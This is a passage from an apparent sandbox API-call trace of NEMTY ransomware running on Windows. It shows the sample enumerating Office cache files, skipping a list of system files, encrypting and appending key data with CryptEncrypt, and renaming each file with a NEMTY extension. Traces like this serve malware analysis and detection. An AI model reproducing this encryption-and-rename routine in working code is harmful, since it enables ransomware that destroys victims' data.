hHeap=0x4f90000) returned 1 [0049.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0049.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0049.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0049.885] Sleep (dwMilliseconds=0x5) [0049.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd16b3770, dwHighDateTime=0x1d561e7)) [0049.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd16b3770, dwHighDateTime=0x1d561e7)) [0049.887] GetLastError () returned 0x0 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.887] GetLastError () returned 0x0 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.887] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.887] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.887] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.887] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="QcD0LcIlsnWbfxT7WKKWKJLpVwyPTRrdyKIxXheP6BWgxu6LFP7H8/NERGMgKxu1\r\nxAh9NBvXVioG0cf/eph7Wd58nMaIfoIrzFm/2rGmaVz+sBIBv3DRMRpNhs0RPLVq\r\nj1e5EBgrzpc3X4UYSkPCaHf/fsybnEPWUFEFkw9/pIGxfjANSIgm6RpM2JaTjF00\r\nS/PEC14tpArHWbkCrnCEJBo9d8AqJmm8p8VWdLFO0u2NbbyF8v8BC47JCI60qcnA\r\n0mn5EbYve43KL4RIIC0Ii9TrW1dYVJLm13CP3Bzu7xFNCh82FQ7lB8efsBGvjeFE\r\nMZMty++fSizlIxuHVQf2og==\r\n", pcchString=0x653ef9c) returned 1 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.887] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.887] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=4274) returned 1 [0049.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10b0) returned 0x6346d48 [0049.888] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.888] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x10b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x10b0, lpOverlapped=0x0) returned 1 [0049.889] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.889] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x10b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x10b0, lpOverlapped=0x0) returned 1 [0049.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.889] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10b2 [0049.889] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.890] CloseHandle (hObject=0x3c8) returned 1 [0049.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.890] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml._nemty_kgobjgd_")) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.891] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="...") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="$RECYCLE.BIN") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="rsa") returned -1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="NTDETECT.COM") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="ntldr") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="MSDOS.SYS") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="IO.SYS") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="boot.ini") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="boot.ini") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="AUTOEXEC.BAT") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="desktop.ini") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="CONFIG.SYS") returned 1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="RECYCLER") returned -1 [0049.891] lstrcmpiW (lpString1="ose.exe", lpString2="BOOTSECT.BAK") returned 1 [0049.892] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1 [0049.892] lstrcmpiW (lpString1="ose.exe", lpString2="programdata") returned -1 [0049.892] lstrcmpiW (lpString1="ose.exe", lpString2="appdata") returned 1 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f250, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f250, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f2a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f2d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94380 [0049.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0049.892] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2=".") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="..") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="...") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="windows") returned -1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="$RECYCLE.BIN") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="rsa") returned -1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="NTDETECT.COM") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="ntldr") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="MSDOS.SYS") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="IO.SYS") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="boot.ini") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="boot.ini") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="AUTOEXEC.BAT") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="ntuser.dat") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="desktop.ini") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="CONFIG.SYS") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="RECYCLER") returned -1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="BOOTSECT.BAK") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="bootmgr") returned 1 [0049.892] lstrcmpiW (lpString1="osetup.dll", lpString2="programdata") returned -1 [0049.893] lstrcmpiW (lpString1="osetup.dll", lpString2="appdata") returned 1 [0049.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.893] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="..") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="...") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="windows") returned -1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="$RECYCLE.BIN") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="rsa") returned -1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="NTDETECT.COM") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntldr") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="MSDOS.SYS") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="IO.SYS") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot.ini") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot.ini") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="AUTOEXEC.BAT") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntuser.dat") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="desktop.ini") returned 1 [0049.893] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="CONFIG.SYS") returned 1 [0049.894] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="RECYCLER") returned -1 [0049.894] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="BOOTSECT.BAK") returned 1 [0049.894] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="bootmgr") returned 1 [0049.894] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="programdata") returned -1 [0049.894] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="appdata") returned 1 [0049.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.894] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".") returned 1 [0049.894] lstrcmpiW 